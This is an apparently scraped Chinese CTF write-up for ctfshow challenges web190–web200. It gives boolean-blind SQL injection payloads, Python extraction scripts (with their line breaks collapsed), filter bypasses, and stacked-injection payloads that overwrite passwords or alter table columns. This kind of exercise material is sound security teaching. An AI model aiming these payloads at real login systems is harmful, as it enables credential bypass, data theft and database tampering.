ctfshow(web190-web200)

目录

web190

web191

web192

web193

web194

web195

web196

web197

web198

web199

web200


web190

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

以上就能确定可以进行布尔注入了

python脚本 使用二分法(这个脚本很强 二分法速度特别快,该脚本可以为二分法的模板,在大师傅给出的脚本中我修改了部分内容 使得可以按照输出 更容易理解代码)

import requests
url = "http://320af8bf-8a87-4f48-a37b-8838174bdcd1.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):max = 127 #ascii最大值min = 32  #ascii最小值while 1:#无限循环mid = (max+min)>>1 #相当于除2向下取整print("第{}波 max={}min={} mid={} ".format(i,max,min,mid))if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为cflag += chr(mid)print(flag)break# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)# 当前数据库 ctfshow_web# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)# 当前字段名 id,f1ag# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)# 获取flagpayload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为maxmax = midelse:                      #返回值为0 <99 将该值设置为minmin = midif mid == 32:# 如果mid的值等于空格 结束最外层循环print("flag={}".format(flag))break

得出flag

web191

用户名不能有file into和ascii 不能写文件和使用ascii值的方式进行判断

我的第一想法是换成hex 然后再通过hex解密得到原有字符串 但是发现hex中如果是z结果就是7a出现了两个字符无法判断 那就是使用替换 经过查找资料发现ORD和ASCII效果一样

将ascii修改为ord即可

web192

ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

python脚本 

自己写的

import requests
url = "http://54b31325-2269-4d5c-a739-68fe13091b24.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):for x in flagdic:payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flagbreakflag+=xprint(flag) breakif x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束break

成功获取flag

web193

substr都过滤了

那就换一个函数使用left 也能做到substr的效果

python脚本 这里的数据表变成了ctfshow_flxg

import requests
url = "http://395fe6cb-9803-4905-a7a6-b4bdd6622d45.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)# 当前数据库 ctfshow_web# payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)# 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg# payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)# 当前字段名 id,flagpayload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

flg

注意一点 占位符{}要加上单引号

web194

left也被禁用了

早就在mysql文档中找函数 搜索关键字的方式

使用lpad替换left函数 本地先测试一下

确定一下固定语句

直接修改web193脚本

注意

在本地的时候

select lpad('abc',1,"") 用的是双引号 脚本中要用单引号 因为 整个语句字符串用的是双引号 范冲突

import requests
url = "http://ad864e5b-c99c-4b15-b2d7-7e95b7858527.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

输出flag

web195

过滤了很多 本地测试了一些 select和|都被禁用了 

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的 

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码

通过回显去浏览器查找 显示用户名不存在 估计是执行成功了

账号admin和密码1怎么还是不行

原因:在sql语句中 $username 没有使用引号 数据库中的admin是字符串 条件中admin必须用单引号引起来 但是引号被过滤了 那就使用弱类型的方式吧 所有字符转换成整数都是0

用户为0 密码为1 得到flag

web196

用户名不能超过16个字符 

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。
 

web197

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user 

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2

更新不可以的话 那就删表 建表

web198

创建删除用不了了 

方法一 非预期的方式 默认密码usernameAUTO 密码passwordAUTO(非预期没什么用)

因为是字符 必须使用单引号但是单引号被过滤了 所以这个非预期的方式不能用

方法二 本题依然可以使用上个题目的方法一show tables

方法三 修改表的结构在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。 已知两个列名 username和pass 将两个列名互换 

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

注意为什么用户名0可以 1不可以 我估计是密码是个字符串 本地测试一下

web199

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

varchar(100)限制了存储的字符数量最多为100个字符,适合存储较短的密码或字符串。

text类型则允许存储更长的文本数据,但可能会占用更多的存储空间,并且在处理和索引方面可能不如varchar类型高效,特别是对于非常大的文本值。然而,如果你确定密码不会超过几百万个字符(这在实际情况中是非常罕见的),那么使用text类型也是可以的。在大多数情况下,为了节省空间和提高效率,使用varchar类型更适合存储密码。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

多过滤了逗号 对我们无影响

web199的两种方法 还有一种方法前几关也能用 已知默认密码为passAUTO 用户名的位置是0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/236935.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端性能监控和错误监控

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

Ubuntu 常用命令之 passwd 命令用法介绍

&#x1f4d1;Linux/Ubuntu 常用命令归类整理 在Ubuntu系统中&#xff0c;passwd命令用于更改用户的密码。系统管理员可以使用此命令更改任何用户的密码&#xff0c;而普通用户只能更改自己的密码。 passwd命令的参数如下 -l, --lock&#xff1a;锁定密码&#xff0c;使账户…

拥抱鸿蒙 - 在展讯T606平台上的探索与实践

前 言 自OpenHarmony 问世后受到了社会各界的广泛关注&#xff0c;OpenHarmony 的生态系统在如火如荼的发展。 酷派作为一家积极拥抱变化的公司&#xff0c;经过一段时间的探索与实践&#xff0c;成功实现将OpenHarmony 系统接入到展讯平台上&#xff0c;我们相信这是一个重要…

Android Studio 安装和使用

前些天&#xff0c;打开了几年前的一个Android Studio app项目&#xff0c;使用安卓虚拟机仿真app崩溃&#xff0c;怀疑是不是中间升级过Android Studio导致异常的&#xff0c;马上脑子一热卸载了&#xff0c;结果上次踩过的坑&#xff0c;一个没少又踩一次&#xff0c;谨以此文…

大数据技术基本功-数据采集

产品指南&#xff5c;DataScale自定义采集器功能介绍产品指南&#xff5c;开发 DataScale Collector​​​​​​​

python用什么软件编写程序,python编写的软件有哪些

大家好&#xff0c;本文将围绕python用什么软件编写程序展开说明&#xff0c;python编写的软件有哪些是一个很多人都想弄明白的事情&#xff0c;想搞清楚用什么软件编写python需要先了解以下几个事情。 大家好&#xff0c;小编来为大家解答以下问题&#xff0c;python可以用什么…

word文档代码高亮_简单易操作_美化代码

跳转:代码高亮网站 复制-粘贴 简单易用 网站:https://highlightcode.com/高亮优化前: 高亮优化后:

一个很好用的Docker可视化管理工具

目录 前言Portainer安装部署使用 前言 一个好的docker可视化管理工具&#xff0c;可以提升我们不少的工作效率&#xff0c;下面我就推荐一个我使用过的&#xff0c;感觉很不错的一个可视化管理工具给大家 Portainer Portainer是一个开源的Docker管理工具&#xff0c;提供了容…

kindeditor The method toJSONString() is undefined for the type JSONObject

kindeditor 插件上传文件出错的 json_simple-1.1.jar 也不知道是多老的项目&#xff0c;多老的包了&#xff0c;稀有东西

【Date对象】js中的日期类型Date对象的使用详情

&#x1f601; 作者简介&#xff1a;一名大四的学生&#xff0c;致力学习前端开发技术 ⭐️个人主页&#xff1a;夜宵饽饽的主页 ❔ 系列专栏&#xff1a;JavaScript小贴士 &#x1f450;学习格言&#xff1a;成功不是终点&#xff0c;失败也并非末日&#xff0c;最重要的是继续…

重温经典struts1之自定义转换器及注册的两种方式(Servlet,PlugIn)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 前言 Struts的ActionServlet接收用户在浏览器发送的请求&#xff0c;并将用户输入的数据&#xff0c;按照FormBean中定义的数据类型&#xff0c;赋值给FormBean中每个变量&a…

“2024世亚软博会”促进软件产业国际化交流与合作的重要窗口

随着科技的飞速发展&#xff0c;软件行业在全球范围内呈现出井喷式的增长。未来&#xff0c;随着软件行业开放的深入&#xff0c;市场机制逐渐完善&#xff0c;人才和政策的持续支持&#xff0c;软件行业将继续保持蓬勃发展态势&#xff0c;为全球用户提供更加优质、智能的软件…

Ansible的脚本----playbook剧本

Playbook组成部分 tasks 任务&#xff1a;包含要在目标主机上执行的操作&#xff0c;使用模块定义这些操作。每个任务都是一个模块的调用。Variables 变量&#xff1a;存储和传递数据。变量可以自定义&#xff0c;可以在playbook当中定义全局变量&#xff0c;可以外部传参。T…

探索未来交通!空客、宝马开启新一轮“量子计算挑战赛”

12月6日&#xff0c;空中客车公司和宝马集团共同发起了一项名为 “量子交通探索”的全球量子计算挑战赛&#xff0c;以应对航空和汽车领域最紧迫的挑战——这些挑战对于传统计算机而言仍然是难以克服的。 这项挑战是首创性的&#xff0c;它将两个全球行业领导者聚集在一起&…

什么是大小端?

今天说一下什么是大小端模式&#xff1f; 大小端模式指的是什么&#xff1f;通常我们在存储器当中存储数据的字节顺序&#xff0c;注意这里强调的是“字节的顺序”。因为在计算机系统中&#xff0c;不管是单片机DSP或者是X86&#xff0c;我们说一个地址对应的存储空间大小呢就是…

动态内存分配

为什么存在内存开辟 我们掌握的内存开辟方式有 int val 20;//在栈空间上开辟四个字节 char arr[10] {0}&#xff1b;//在栈空间上开辟十个连续的内存空间 但是上述开辟空间的方式有两个特点&#xff1a;1.空间开辟大小是固定的。 2.数组在申明的时候&#xff0c;必须指明数…

分析某款go扫描器之四

一、概述 上文提到实现IP的探测存活以及tcp扫描的实现&#xff0c;这部分来分析实现本机网卡信息获取&#xff0c;以及维护一张mac地址表以及ip扫描端口状态表&#xff0c;同时实现syn扫描功能。 项目来源&#xff1a;https://github.com/XinRoom/go-portScan/blob/main/util…

深入了解Python中staticmethod的使用技巧

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在Python中&#xff0c;staticmethod是一种用于定义静态方法的装饰器。静态方法是类中的方法&#xff0c;它不依赖于类的实例&#xff0c;也就是说&#xff0c;可以在没有创建类实例的情况下调用它。在本教程中&…

如何实现免费无限流量云同步笔记软件Obsidian?

目录 前言 如何实现免费无限流量云同步笔记软件Obsidian&#xff1f; 一、简介 软件特色演示&#xff1a; 二、使用免费群晖虚拟机搭建群晖Synology Drive服务&#xff0c;实现局域网同步 1 安装并设置Synology Drive套件 2 局域网内同步文件测试 三、内网穿透群晖Synol…

acwing-蓝桥杯C++ AB组辅导课Day2-递归习题+递推+二分

感谢梦翔老哥的蓝桥杯C AB组辅导课~ 递归习题&#xff1a; 1.递归实现组合型枚举 题意&#xff1a; 题目要求输出组合枚举&#xff0c;与排列不同&#xff0c;排列具有顺序之分&#xff0c;对于组合来说&#xff0c;是没有顺序之分的&#xff0c;所以[1,2,3]和[3,2,1]被看成同…